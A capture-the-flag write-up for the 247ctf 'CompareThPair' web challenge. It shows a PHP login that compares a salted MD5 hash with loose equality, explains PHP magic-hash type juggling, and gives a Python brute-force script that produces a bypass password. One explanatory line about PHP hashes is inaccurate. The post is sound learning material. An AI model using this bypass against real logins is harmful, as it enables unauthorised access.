This page looks best with JavaScript enabled

247ctf [Web]: CompareThPair

 ·  ☕ 2 min read

Introduction

Can you identify a way to bypass our login logic? MD5 is supposed to be a one-way function right?

Source code:

1
2
3
4
5
6
7
8
9
<?php
  require_once('flag.php');
  $password_hash = "0e902564435691274142490923013038";
  $salt = "f789bbc328a3d1a3";
  if(isset($_GET['password']) && md5($salt . $_GET['password']) == $password_hash){
    echo $flag;
  }
  echo highlight_file(__FILE__, true);
?>

There are 2 facts that stand out from the source code:

  1. Php hashes are base16 encoded so they go in form of “0exxx”. Also when it’s followed by all numbers (php magic hashes) it’s considered as a float: $password_hash = "0e902564435691274142490923013038";.
  2. Using equality (==) instead of identity (===) in php may be vulnerable: if(isset($_GET['password']) && md5($salt . $_GET['password']) == $password_hash).

What is php type juggling?

Type juggling is a popular php vulnerability. It occurs when you compare using “equality” and both operands looks like numbers, it will compare them and then perform a numeric comparison.

1
2
3
<?php
    var_dump("0e902564435691274142490923013038" == 0);  # bool(true)
?>

So it tranforms the string into a 0, then any hash that matches this regexp ^(0e)[0-9]*$ will make the equality true:

1
2
3
<?php
    var_dump("0e902564435691274142490923013038" == "0e99999"); # bool(true)
?>

Exploitation

Once we know how it works, we need to generate a hash that fulfills those conditions. Keep in mind that it is also applying a salt. So when crafting the payload hash we need to append the salt beforehand.
Created a script to do so:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#/usr/bin/python3
import hashlib
from itertools import product
import string
import re

salt = "f789bbc328a3d1a3"

def get_pass():
    i = 1
    while i <=10:
        for combo in product(string.ascii_letters + string.digits, repeat=i):
            word = ''.join(combo)
            crafted = hashlib.md5((salt + word).encode("utf-8")).hexdigest()
            if(re.search("^(0e)[0-9]*$",crafted)):
                return word
        i = i+1
    return None

print(get_pass())

Finally use that password to bypass the login.

Share on

ITasahobby
WRITTEN BY
ITasahobby
InTernet lover